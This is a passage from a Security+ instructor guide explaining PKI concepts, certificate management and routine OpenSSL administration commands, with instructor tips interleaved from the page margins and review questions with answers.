able to trust one another.
Teaching
Single CA Tip
Emphasize that there
In this simple model, a single CA issues certificates to users; users trust certificates
is not one single
issued by that CA and no other. The problem with this approach is that the single CA hierarchy for all
server is very exposed. If it is compromised, the whole PKI collapses. PKIs, and likewise,
there are many root
Hierarchical (Intermediate CA) CAs, one for each
discrete hierarchy.
In the hierarchical model, a single CA (called the root) issues certificates to several An organization can
intermediate CAs. The intermediate CAs issue certificates to subjects (leaf or end have its own root CA
entities). This model has the advantage that different intermediate CAs can be set up for its private PKI, for
example.
with different certificate policies, enabling users to perceive clearly what a particular
certificate is designed for. Each leaf certificate can be traced back to the root CA along Interaction
the certification path. This is also referred to as certificate chaining, or a chain of trust. Opportunity
The root's certificate is self-signed. In the hierarchical model, the root is still a single Show a certificate
point of failure. If the root is damaged or compromised, the whole structure collapses. hierarchy for a website
To mitigate against this, however, the root server can be taken offline, as most of the (such as comptia.org).
regular CA activities are handled by the intermediate CA servers.

Lesson 6: Implementing Public Key Infrastructure | Topic 6A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 128 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

A certification path. The leaf certificate (www.globalsign.com) was issued by an intermediate

Extended Validation CA, and that CA's certificate was issued by the root CA.
(Screenshot used with permission from Microsoft.)

Another problem is that there is limited opportunity for cross-certification; that is, to
trust the CA of another organization. Two organizations could agree to share a root
CA, but this would lead to operational difficulties that could only increase as more
organizations join. In practice, most clients are configured to trust multiple root CAs.

Online versus Offline CAs

An online CA is one that is available to accept and process certificate signing requests,
publish certificate revocation lists, and perform other certificate management tasks.
Because of the high risk posed by compromising the root CA, a secure configuration
involves making the root an offline CA. This means that it is disconnected from any
network and usually kept in a powered-down state. The root CA will need to be brought
Show Slide(s) online to add or update intermediate CAs.

Registration Registration Authorities and CSRs

Authorities and CSRs
Registration is the process by which end users create an account with the CA and
Teaching become authorized to request certificates. The exact processes by which users are
Tip authorized and their identity proven are determined by the CA implementation. For
Note that the CA does example, in a Windows Active Directory network, users and devices can often auto-
not generate the key enroll with the CA just by authenticating to Active Directory. Commercial CAs might
pair and that the perform a range of tests to ensure that a subject is who he or she claims to be. It is
private key is not part in the CA's interest to ensure that it only issues certificates to legitimate users, or its
of the CSR. The private
key must be kept
reputation will suffer.
securely on the host
(or secure removable On a private network (such as a Windows domain), the right to issue certificates of different
storage, such as a types must be carefully controlled. The Windows CA supports access permissions for each
smart card). certificate type so that you can choose which accounts are able to issue them.

Lesson 6: Implementing Public Key Infrastructure | Topic 6A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 129

When a subject wants to obtain a certificate, it completes a certificate signing

request (CSR) and submits it to the CA. The CSR is a Base64 ASCII file containing the
information that the subject wants to use in the certificate, including its public key.
The CA reviews the certificate and checks that the information is valid. For a web
server, this may simply mean verifying that the subject name and fully qualified
domain name (FQDN) are identical, and verifying that the CSR was initiated by the
person administratively responsible for the domain, as identified in the domain's
WHOIS records. If the request is accepted, the CA signs the certificate and sends it to
the subject.
The registration function may be delegated by the CA to one or more registration Show Slide(s)
authorities (RAs). These entities complete identity checking and submit CSRs on
behalf of end users, but they do not actually sign or issue certificates. Digital Certificates

Digital Certificates Teaching

Tip
A digital certificate is essentially a wrapper for a subject's public key. As well as the The X.509, PKIX, and
public key, it contains information about the subject and the certificate's issuer or PKCS standards aren't
guarantor. The certificate is digitally signed to prove that it was issued to the subject by listed in the syllabus,
so students should not
a particular CA. The subject could be a human user (for certificates allowing the signing
need to learn them.
of messages, for instance) or a computer server (for a web server hosting confidential We include them here
transactions, for instance). just for reference.

Digital certificate details. (Screenshot used with permission from Microsoft.)

Digital certificates are based on the X.509 standard approved by the International
Telecommunications Union and standardized by the Internet Engineering Taskforce
(tools.ietf.org/html/rfc5280). The Public Key Infrastructure (PKIX) working group
manages the development of these standards. RSA also created a set of standards,
referred to as Public Key Cryptography Standards (PKCS), to promote the use of
public key infrastructure.

Lesson 6: Implementing Public Key Infrastructure | Topic 6A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 130 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Certificate Attributes

Certificate Attributes
The X.509 standard defines the fields or attributes that must be present in the
certificate. Some of the main fields are listed in the following table.
Teaching
Tip Field Usage
Object identifiers Serial number A number uniquely identifying the certifi-
(OIDs) have been cate within the domain of its CA.
removed as a content
example, but remain Signature algorithm The algorithm used by the CA to sign the
in the acronym list. certificate.
The term is included in
Issuer The name of the CA.
the glossary, but you
might want to mention Valid from/to Date and time during which the certificate
here that these is valid.
attributes all have
numeric identifiers. Subject The name of the certificate holder, ex-
pressed as a distinguished name (DN). Wit-
Interaction hin this, the common name (CN) part should
Opportunity usually match either the fully qualified do-
Show the attributes main name (FQDN) of the server or a user
of a web server email address.
certificate in a
browser. Firefox's
Public key Public key and algorithm used by the certi-
certificate page is ficate holder.
more readable than Extensions V3 certificates can be defined with extended
the standard Windows
attributes, such as friendly subject or issuer
dialog.
names, contact email addresses, and in-
tended key usage.
Subject alternative name (SAN) This extension field is the preferred mecha-
nism to identify the DNS name or names by
which a host is identified.

Show Slide(s) Subject Name Attributes

Subject Name
When certificates were first introduced, the common name (CN) attribute was used
Attributes to identify the FQDN by which the server is accessed, such as www.comptia.org.
This usage grew by custom rather than design, however. The CN attribute can contain
Teaching different kinds of information, making it difficult for a browser to interpret it correctly.
Tip Consequently, the CN attribute is deprecated as a method of validating subject identity
The SAN field MUST (tools.ietf.org/html/rfc2818#section-3.1).
be configured with the
FQDN. The subject alternative name (SAN) extension field is structured to represent
Despite being
different types of identifiers, including domain names. If a certificate is configured with
deprecated for this a SAN, the browser should validate that, and ignore the CN value. It is still safer to put
usage, it is safer the FQDN is the CN as well, because not all browsers and implementations stay up-to-
to duplicate this date with the standards.
information in the
CN (knowledge. The SAN field also allows a certificate to represent different subdomains, such as www.
digicert.com/solution/ comptia.org and members.comptia.org.
SO7239) to ensure
compatibility.

Lesson 6: Implementing Public Key Infrastructure | Topic 6A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 131

Microsoft's website certificate configured with alternative subject names for different subdomains.
(Screenshot used with permission from Microsoft.)

Listing the specific subdomains is more secure, but if a new subdomain is added, a new
certificate must be issued. A wildcard domain, such as *.comptia.org, means that
the certificate issued to the parent domain will be accepted as valid for all subdomains
(to a single level).

CompTIA's website certificate configured with a wildcard domain, allowing access via either https://
comptia.org or https://www.comptia.org. (Screenshot used with permission from Microsoft.)

Lesson 6: Implementing Public Key Infrastructure | Topic 6A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 132 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Types of Certificate

Types of Certificate
Certificate policies define the different uses of certificate types issued by the CA.
These can be configured as standard certificate templates.
A certificate type is set by configuring the the Key Usage attribute. The Extended
Key Usage (EKU) field—referred to by Microsoft as Enhanced Key Usage—is a
complementary means of defining usage. Typical values used include Server
Authentication, Client Authentication, Code Signing, or Email Protection. The EKU field
is more flexible than the Key Usage field, but problems can occur when non-standard
or vendor-specific definitions are used.
An extension can be tagged as critical, meaning that the application processing the
certificate must be able to interpret the extension correctly; otherwise, the certificate
should be rejected. In the case of a Key Usage extension marked as critical, an
application should reject the certificate if it cannot resolve the Key Usage value. For
example, this prevents a certificate issued for encrypting traffic sent to a web server
from being used for signing an email message.

Certificate templates for Windows Server CA. (Screenshot used with permission from Microsoft.)

Show Slide(s) Web Server Certificate Types

Web Server Certificate
A server certificate guarantees the identity of e-commerce sites or any sort of website
Types to which users submit data that should be kept confidential. One of the problems with
public key cryptography and trust models is that anyone can set up a PKI solution. It is
Teaching also simple to register convincing-sounding domain names, such as my-bank-server.
Tip foo, where the "real" domain is mybank.foo. If users choose to trust a certificate in
Make sure students the naïve belief that simply having a certificate makes a site trustworthy, they could
can distinguish DV and expose themselves to fraud. There have also been cases of disreputable sites obtaining
EV and understand the certificates from third-party CAs that are automatically trusted by browsers that
use of SAN or wildcard apparently validate their identities as financial institutions.
certificates.
Differently graded certificates might be used to provide levels of security; for example,
an online bank requires higher security than a site that collects marketing data.
• Domain Validation (DV)—proving the ownership of a particular domain. This may be
proved by responding to an email to the authorized domain contact or by publishing
a text record to the domain. This process can be highly vulnerable to compromise.

Lesson 6: Implementing Public Key Infrastructure | Topic 6A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 133

Domain validation certificate. Only the padlock is shown and the browser reports that the owner is not
verified. (Screenshot used with permission from Microsoft.)

• Extended Validation (EV)—subjecting to a process that requires more rigorous

checks on the subject's legal identity and control over the domain or software being
signed. EV standards are maintained by the CA/Browser forum (cabforum.org). An
EV certificate cannot be issued for a wildcard domain.

Extended validation certificate from GlobalSign with the verified owner shown in green next to the
padlock. (Screenshot used with permission from GlobalSign, Inc.)

Lesson 6: Implementing Public Key Infrastructure | Topic 6A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 134 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Other Certificate Types

Other Certificate Types
Web servers are not the only systems that need to validate identity. There are many
other certificate types, designed for different purposes.
Teaching
Tip Machine/Computer Certificates
Students should learn It might be necessary to issue certificates to machines (servers, PCs, smartphones, and
the uses and SAN/
CN setting for these
tablets), regardless of function. For example, in an Active Directory domain, machine
certificate types. certificates could be issued to Domain Controllers, member servers, or even client
workstations. Machines without valid domain-issued certificates could be prevented
from accessing network resources. Machine certificates might be issued to network
appliances, such as routers, switches, and firewalls. The SAN and often the CN attribute
should be set to the FQDN of the machine (host name and local domain part).

Email/User Certificates
An email certificate can be used to sign and encrypt email messages, typically using
Secure Multipart Internet Message Extensions (S/MIME) or Pretty Good Privacy (PGP).
The user's email address must be entered as the SAN and CN. On a directory-based
local network, such as Windows Active Directory, there may be a need for a wider
range of user certificate types. For example, in AD there are user certificate templates
for standard users, administrators, smart card logon/users, recovery agent users,
and Exchange mail users (with separate templates for signature and encryption). Each
certificate template has different key usage definitions.

Requesting a certificate. The CA has made several user-type certificate templates available with
different key usage specifications (encrypting files, signing emails, encrypting emails, and so on).
(Screenshot used with permission from Microsoft.)

Lesson 6: Implementing Public Key Infrastructure | Topic 6A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 135

Code Signing Certificates

A code signing certificate is issued to a software publisher, following some sort
of identity check and validation process by the CA. The publisher then signs the
executables or DLLs that make up the program to guarantee the validity of a software
application or browser plug-in. Some types of scripting environments, such as
PowerShell, can also require valid digital signatures. The CN is set to an organization
name, such as "CompTIA Development Services, LLC," rather than a FQDN.

Root Certificate
The root certificate is the one that identifies the CA itself. The root certificate is
self-signed. A root certificate would normally use a key size of at least 2048 bits.
Many providers are switching to 4096 bits. The CN for a root certificate is set to the
organization/CA name, such as "CompTIA Root CA," rather than an FQDN.

Self-signed Certificates
Any machine, web server, or program code can be deployed with a self-signed
certificate. Self-signed certificates will be marked as untrusted by the operating
system or browser, but an administrative user can choose to override this.

Lesson 6: Implementing Public Key Infrastructure | Topic 6A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 136 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Certificates and Certificate Authorities
Answer the following questions:

1. What is the main weakness of a hierarchical trust model?

The structure depends on the integrity of the root CA.

2. How does a subject go about obtaining a certificate from a CA?

In most cases, the subject generates a key pair then adds the public key along with
subject information and certificate type in a certificate signing request (CSR) and
submits it to the CA. If the CA accepts the request, it generates a certificate with the
appropriate key usage and validity, signs it, and transmits it to the subject.

3. What cryptographic information is stored in a digital certificate?

The subject's public key and the algorithms used for encryption and hashing. The
certificate also stores a digital signature from the issuing CA, establishing the chain of
trust.

4. What does it mean if a certificate extension attribute is marked as critical?

That the application processing the certificate must be able to interpret the extension
correctly. Otherwise, it should reject the certificate.

5. You are developing a secure web application. What sort of certificate should
you request to show that you are the publisher of a program?

A code signing certificate. Certificates are issued for specific purposes. A certificate
issued for one purpose should not be reused for other functions.

6. What extension field is used with a web server certificate to support the
identification of the server by multiple specific subdomain labels?

The subject alternative name (SAN) field. A wildcard certificate will match any
subdomain label.

Lesson 6: Implementing Public Key Infrastructure | Topic 6A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 137

Topic 6B
Implement PKI Management

EXAM OBJECTIVES COVERED Teaching

3.9 Given a scenario, implement public key infrastructure Tip
4.1 Given a scenario, use the appropriate tool to assess organizational security
Again, you may prefer
(OpenSSL only)
to focus more on labs
for this topic. Most of
As a security professional, you are very likely to have to install and maintain public the content examples
key infrastructure (PKI) certificate services for private networks. You may also need to are straightforward,
though students can
obtain and manage certificates from public PKI providers. This topic will help you to
find certificate formats
install and configure PKI and to troubleshoot and revoke certificates. difficult.

Certificate and Key Management Show Slide(s)

Key management refers to operational considerations for the various stages in a key's Certificate and Key
life cycle. A key's life cycle may involve the following stages: Management
• Key generation—creating a secure key pair of the required strength, using the
Teaching
chosen cipher.
Tip
• Certificate generation—to identify the public part of a key pair as belonging to a We're focusing
subject (user or computer), the subject submits it for signing by the CA as a digital on public key
certificate with the appropriate key usage. At this point, it is critical to verify the cryptography
here, but do note
identity of the subject requesting the certificate and only issue it if the subject that symmetric
passes identity checks. keys and SSH keys
have management
• Storage—the user must take steps to store the private key securely, ensuring that requirements too.
unauthorized access and use is prevented. It is also important to ensure that the We'll be covering SSH
private key is not lost or damaged. later in the course.

• Revocation—if a private key is compromised, the key pair can be revoked to prevent
users from trusting the public key.

• Expiration and renewal—a key pair that has not been revoked expires after a certain
period. Giving the key or certificate a "shelf-life" increases security. Certificates can
be renewed with new key material.

Key management can be centralized, meaning that one administrator or authority

controls the process, or decentralized, in which each user is responsible for his or
her keys.
Certificate and key management can represent a critical vulnerability if not managed
properly. If an attacker can obtain a private key, it puts both data confidentiality and
identification/authentication systems at risk. If an attacker gains the ability to create
signed certificates that appear to be valid, it will be easy to harvest huge amounts of
information from the network as the user and computer accounts he or she sets up will
be automatically trusted. Finally, if a key used for encryption is accidentally destroyed,
the data encrypted using that key will be inaccessible, unless there is a backup or key
recovery mechanism.

Lesson 6: Implementing Public Key Infrastructure | Topic 6B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 138 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Key Recovery and Escrow

Key Recovery and
Keys such as the private key of a root CA must be subject to the highest possible
Escrow technical and procedural access controls. If such a key were compromised, it would
put the confidentiality and integrity of data processed by hundreds or thousands of
systems at risk. Access to such critical encryption keys must be logged and audited
and is typically subject to M-of-N control, meaning that of N number of administrators
permitted to access the system, M must be present for access to be granted. M must
be greater than 1, and N must be greater than M. For example, when M = 2 and
N = 4, any two of four administrators must be present. Staff authorized to perform
key management must be carefully vetted, and due care should be taken if these
employees leave the business.

Another way to use M-of-N control is to split a key between several storage devices (such as
three USB sticks, any two of which could be used to recreate the full key).

If the key used to decrypt data is lost or damaged, the encrypted data cannot be
recovered unless a backup of the key has been made. A significant problem with key
storage is that if you make multiple backups of a key, it is exponentially more difficult
to ensure that the key is not compromised. However, if the key is not backed up, the
storage system represents a single point of failure. Key recovery defines a secure
process for backing up keys and/or recovering data encrypted with a lost key. This
process might use M-of-N control to prevent unauthorized access to (and use of)
the archived keys. Escrow means that something is held independently. In terms of
key management, this refers to archiving a key (or keys) with a third party. This is a
useful solution for organizations that don't have the capability to store keys securely
themselves, but it invests a great deal of trust in the third party.

Show Slide(s) Certificate Expiration

Certificate Expiration
Certificates are issued with a limited duration, as set by the CA policy for the certificate
type. Root certificates might have long expiration dates (10+ years), whereas web
server and user certificates might be issued for 1 year only. Typically, a certificate is
renewed before it expires. Where a user is in possession of a valid certificate, less
administration is required (in terms of checking identity) than with a request for a new
certificate. When you are renewing a certificate, it is possible to use the existing key
(referred to specifically as key renewal) or generate a new key (the certificate is rekeyed).
A new key might be generated if the old one was no longer considered long enough or
if any compromise of the key was feared.
When a certificate expires, there is the question of what to do with the key pair that
it represents. A key can either be archived or destroyed. Destroying the key offers
more security, but has the drawback that any data encrypted using the key will be
unreadable. Whether a key is archived or destroyed will largely depend on how the key
was used. In software terms, a key can be destroyed by overwriting the data (merely
deleting the data is not secure). A key stored on hardware can be destroyed by a
specified erase procedure or by destroying the device.

Show Slide(s) Certificate Revocation Lists

Certificate Revocation
A certificate may be revoked or suspended:
Lists • A revoked certificate is no longer valid and cannot be "un-revoked" or reinstated.

• A suspended certificate can be re-enabled.

Lesson 6: Implementing Public Key Infrastructure | Topic 6B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 139

A certificate may be revoked or suspended by the owner or by the CA for many

reasons. For example, the certificate or its private key may have been compromised,
the business could have closed, a user could have left the company, a domain name
could have been changed, the certificate could have been misused in some way, and
so on. These reasons are codified under choices such as Unspecified, Key Compromise,
CA Compromise, Superseded, or Cessation of Operation. A suspended key is given the
code Certificate Hold.
It follows that there must be some mechanism for informing users whether a certificate
is valid, revoked, or suspended. CAs must maintain a certificate revocation list
(CRL) of all revoked and suspended certificates, which can be distributed throughout
the hierarchy.

CRLs published by Windows Certificate Services—The current CRL contains one revoked certificate.
(Screenshot used with permission from Microsoft.)

With the CRL system, there is a risk that the certificate might be revoked but still
accepted by clients because an up-to-date CRL has not been published. A further
problem is that the browser (or other application) may not be configured to
perform CRL checking, although this now tends to be the case only with legacy
browser software.

Online Certificate Status Protocol Responders Show Slide(s)

Another means of providing up-to-date information is to check the certificate's status Online Certificate
on an Online Certificate Status Protocol (OCSP) server, referred to as an OCSP Status Protocol
responder. Rather than return a whole CRL, this just communicates the status of the Responders
requested certificate. Details of the OCSP responder service should be published in
the certificate.

Most OCSP servers can query the certificate database directly and obtain the real-time
status of a certificate. Other OCSP servers actually depend on the CRLs and are limited by
the CRL publishing interval.

Lesson 6: Implementing Public Key Infrastructure | Topic 6B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 140 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

One of the problems with OCSP is that the job of responding to requests is resource
intensive and can place high demands on the issuing CA running the OCSP responder.
There is also a privacy issue, as the OCSP responder could be used to monitor and
record client browser requests. OCSP stapling resolves these issues by having the SSL/
TLS web server periodically obtain a time-stamped OCSP response from the CA. When
a client submits an OCSP request, the web server returns the time-stamped response,
rather than making the client contact the OCSP responder itself.

Show Slide(s) Certificate Pinning

Certificate Pinning
When certificates are used by a transport protocol, such as SSL/TLS, there is
a possibility that the chain of trust among the client, the server, and whatever
intermediate and root CAs have provided certificates can be compromised. If an
adversary can substitute a malicious but trusted certificate into the chain (using
some sort of proxy or man-in-the-middle attack), they could be able to snoop on the
supposedly secure connection.
Pinning refers to several techniques to ensure that when a client inspects the
certificate presented by a server or a code-signed application, it is inspecting the
proper certificate. This might be achieved by embedding the certificate data in the
application code, or by submitting one or more public keys to an HTTP browser via an
HTTP header, which is referred to as HTTP Public Key Pinning (HPKP).

HPKP has serious vulnerabilities and has been deprecated (developer.mozilla.org/en-

US/docs/Web/HTTP/Public_Key_Pinning). The replacement mechanism is the Certificate
Transparency Framework.

Show Slide(s) Certificate Formats

Certificate Formats
There are various formats for encoding a certificate as a digital file for exchange
between different systems.
Teaching
Tip Encoding
Differences between
Cryptographic data—both certificates and keys—are processed as binary using
Windows and Linux
make certificate Distinguished Encoding Rules (DER). Binary format files are not commonly used,
formats a far more however.
complex issue than
More typically, the binary data is represented as ASCII text characters using Base64
it really should be.
Explain that there Privacy-enhanced Electronic Mail (PEM) encoding. ASCII-format data has descriptive
are binary and text headers, such as the "BEGIN CERTIFICATE" string.
formats, and then
go through the
extensions.

Base64-encoded .CER file opened in Notepad. (Screenshot used with permission from Microsoft.)

Lesson 6: Implementing Public Key Infrastructure | Topic 6B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 141

File Extensions
A three character file extension is a convention, not a standard, and unfortunately file
extensions do not always map cleanly to the type of encoding used within a certificate
file, or even to the contents of a certificate file. The only certain way to check is to open
it in a text editor.
• Both .DER and .PEM can be used as file extensions, although the latter is not
recognized by Windows. .PEM is the the most widely used extension for ASCII
format files in Linux.

• The .CRT and .CER extensions can also be used, but they they are not well-
standardized. Most of the confusion arises from the way Windows handles
certificates. In Linux, .CRT is most likely to represent an ASCII certificate. In Windows,
the most common extension is .CER, but this does not tell you whether the file
format is binary or ASCII.

Contents
A certificate file can also contain more than just a single certificate:
• The PKCS #12 format allows the export of the private key with the certificate. This
would be used either to transfer a private key to a host that could not generate
its own keys, or to back up/archive a private key. This type of file format is usually
password-protected and always binary. On Windows, these usually have a .PFX
extension, while MacOS and iOS use .P12. In Linux, the certificate and key are
usually stored in separate files.

• The P7B format implements PKCS #7, which is a means of bundling multiple
certificates in the same file. It is typically in ASCII format. This is most often used
to deliver a chain of certificates that must be trusted by the processing host. It
is associated with the use of S/MIME to encrypt email messages. P7B files do
not contain the private key. In Linux, the .PEM extension is very widely used for
certificate chains.

OpenSSL Show Slide(s)

In a Windows environment, certificate infrastructure is installed and managed as Active OpenSSL

Directory Certificate Services. There is a certutil tool for command-line management, or
you can use PowerShell. Teaching
For Linux, CA services are typically implemented using the OpenSSL suite (openssl.org). Tip
The following represent a few of the many operations that can be accomplished using This section is
openssl commands. illustrative of some
OpenSSL commands.
Root CA Note again that
in Linux the file
To configure a root CA in OpenSSL, set up a directory structure and adapt an OpenSSL extension is
conventional only.
configuration file (openssl.cnf) for any site-local settings. You then need to create an Certificates are used
RSA key pair: in ASCII format. A
private key might be
openssl genrsa -aes256 -out cakey.pem 4096 encrypted to apply
password protection.
The -aes256 argument encrypts the key and requires a password to make use of it.
The 4096 argument sets the key length. The output file data is in PEM ASCII format by
default. Some sites prefer a naming convention, such as ca.key.
The next step is to use this RSA key pair to generate a self-signed root X.509 digital
certificate:

Lesson 6: Implementing Public Key Infrastructure | Topic 6B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 142 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

openssl req -config openssl.cnf -key cakey.pem -new

-x509 -days 7300 -sha256 -out cacert.pem

This example is simplified. Using a root CA to issue leaf certificates directly is not robust. It is
better to create one or more intermediate CAs.

Certificate Signing Requests

To configure a certificate on a host, create a certificate signing request (CSR) with a new
key pair. This command is run on the web server:
openssl req -nodes -new -newkey rsa:2048 -out
www.csr -keyout www.key
Having run the command, you then complete the prompts to enter the subject
information for the certificate, taking care to match the common name (CN) to the
FQDN by which clients access the server. This key is created without a password, which
would have to be input at any restart of the web server application. We can rely on
general access control security measures to protect the key.
This CSR file must then be transmitted to the CA server. On the CA, run the following
command to sign the CSR and output the X.509 certificate:
openssl ca -config openssl.cnf -extensions webserver
-infiles www.csr -out www.pem
The passphrase must be entered to confirm use of the cakey.pem private key. The
-extensions argument selects an area of the configuration file for a particular
certificate type. This sets the key usage attribute, plus any other extended attributes
that are needed.
You can view the new certificate to check the details using the following two
commands:
openssl x509 -noout -text -in www.pem
openssl verify -verbose -cafile cacert.pem www.pem
Transmit the www.pem file to the web server and update the server configuration to
use it and the www.key private key.

Key and Certificate Management

You might export a copy of the private key from this server to be held in escrow as a
backup. For this usage, you must password-protect the key:
openssl rsa -aes256 -in www.key -out www.key.bak
You might need to convert the certificate format to make it compatible with an
application server, such as Java. The following command takes a PEM-encoded
certificate and outputs a DER binary-encoded certificate:
openssl x509 -outform der -in www.pem -out www.der
Another use case is to export a key and certificate for use in Windows:
openssl pkcs12 -export -inkey www.key -in www.pem
-out www.pfx

Lesson 6: Implementing Public Key Infrastructure | Topic 6B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 143

Certificate Issues Show Slide(s)

The most common problem when dealing with certificate issues is that of a client Certificate Issues
rejecting a server certificate (or slightly less commonly, an authentication server
rejecting a client's certificate). Teaching
• If the problem is with an existing certificate that has been working previously, check Tip
that the certificate has not expired or been revoked or suspended. Troubleshooting is no
longer called out on
• If the problem is with a new certificate, check that the key usage settings are the syllabus, so you
may prefer to skip this
appropriate for the application. Some clients, such as VPN and email clients, have
section. It has been
very specific requirements for key usage configuration. Also, check that the subject retained as general
name is correctly configured and that the client is using the correct address. For implementation detail.
example, if a client tries to connect to a server by IP address instead of FQDN, a Point out that
certificate configured with an FQDN will be rejected. browsers often use a
different set of root
• If troubleshooting a new certificate that is correctly configured, check that clients trusts than Windows
have been configured with the appropriate chain of trust. You need to install root itself does.
and intermediate CA certificates on the client before a leaf certificate can be trusted.
Be aware that some client applications might maintain a different certificate store to
that of the OS.

• In either case, verify that the time and date settings on the server and client
are synchronized. Incorrect date/time settings are a common cause of
certificate problems.

From a security point of view, you must also audit certificate infrastructure to
ensure that only valid certificates are being issued and trusted. Review logs of issued
certificates periodically. Validate the permissions of users assigned to manage
certificate services. Check clients to ensure that only valid root CA certificates are
trusted. Make sure clients are checking for revoked or suspended certificates.

Lesson 6: Implementing Public Key Infrastructure | Topic 6B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 144 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
PKI Management
Answer the following questions:

1. What are the potential consequences if a company loses control of a

private key?

It puts both data confidentiality and identification and authentication systems at risk.
Depending on the key usage, the key may be used to decrypt data with authorization.
The key could also be used to impersonate a user or computer account.

2. You are advising a customer about encryption for data backup security and
the key escrow services that you offer. How should you explain the risks of
key escrow and potential mitigations?

Escrow refers to archiving the key used to encrypt the customer's backups with your
company as a third party. The risk is that an insider attack from your company may be
able to decrypt the data backups. This risk can be mitigated by requiring M-of-N access
to the escrow keys, reducing the risk of a rogue administrator.

3. What mechanism informs clients about suspended or revoked keys?

Either a published Certificate Revocation List (CRL) or an Online Certificate Status

Protocol (OCSP) responder.

4. What mechanism does HPKP implement?

HTTP Public Key Pinning (HPKP) ensures that when a client inspects the certificate
presented by a server or a code-signed application, it is inspecting the proper
certificate by submitting one or more public keys to an HTTP browser via an HTTP
header.

5. What type of certificate format can be used if you want to transfer your
private key and certificate from one Windows host computer to another?

PKCS #12 / .PFX / .P12.

6. What type of operation is being performed by the following command?

openssl req -nodes -new -newkey rsa:2048 -out my.csr

-keyout mykey.pem
This generates a new RSA key pair plus a certificate signing request.

Lesson 6: Implementing Public Key Infrastructure | Topic 6B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 145

Lesson 6
Summary
Teaching
You should be familiar with the tools and procedures used to issue different types of
Tip
certificate and manage PKI operations.
Check that students
are confident about
Guidelines for Implementing Public Key Infrastructure the content that has
been covered. If there
Follow these guidelines when you implement public key infrastructure (PKI) on a is time, revisit any
private network: content examples that
they have questions
• Determine whether to use a single CA or intermediate structure and take steps to about. If you have
ensure the security of the root, keeping it offline if that is operationally possible. used all the available
time for this lesson
• Determine certificate policies and templates that meet the needs of users and block, note the issues
business workflows, such as machine, email/user, and code signing certificate and schedule time for
a review later in the
types. Ensure that the common name attribute is correctly configured when
course.
issuing certificates.

• Create policies and procedures for users and servers to request certificates, plus the
identification, authentication, and authorization processes to ensure certificates are
only issued to valid subjects.

• Support users with options for converting certificates to different formats.

• Set up procedures for managing keys and certificates, including revocation and
backup/escrow of keys.

• Be prepared to assist users with certificate troubleshooting issues.

Lesson 6: Implementing Public Key Infrastructure

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Lesson 7
Implementing Authentication Controls

LESSON INTRODUCTION Teaching

Tip
Each network user and host device must be identified with an account so that you Continuing the protect
can control their access to your organization's applications, data, and services. function theme,
The processes that support this requirement are referred to as identity and access this lesson and the
management (IAM). Within IAM, authentication technologies ensure that only valid following one cover
subjects (users or devices) can operate an account. Authentication requires the account identity and access
management (IAM).
holder to submit credentials that should only be known or held by them in order to
This lesson focuses
access the account. There are many authentication technologies and it is imperative on authentication
that you be able to compare and contrast and to implement these security controls. mechanisms, whereas
Lesson 8 covers
identity management,
Lesson Objectives account management,
and authorization
In this lesson, you will: management.
• Summarize authentication design concepts.

• Implement knowledge-based authentication.

• Implement authentication technologies.

• Summarize biometrics authentication concepts.

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 148 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 7A
Summarize Authentication
Design Concepts

Teaching EXAM OBJECTIVES COVERED

Tip 2.4 Summarize authentication and authorization design concepts
This topic introduces
IAM as a domain
of security activity
Strong authentication is the first line of defense in the battle to secure network
and discusses basic
concepts, following resources. But authentication is not a single process; there are many different methods
the relevant content and mechanisms, some of which can be combined to form more effective products.
examples from the As a network security professional, familiarizing yourself with identification and
"design" objective authentication technologies can help you select, implement, and support the ones that
2.4. The remainder of are appropriate for your environment.
the 2.4 objectives are
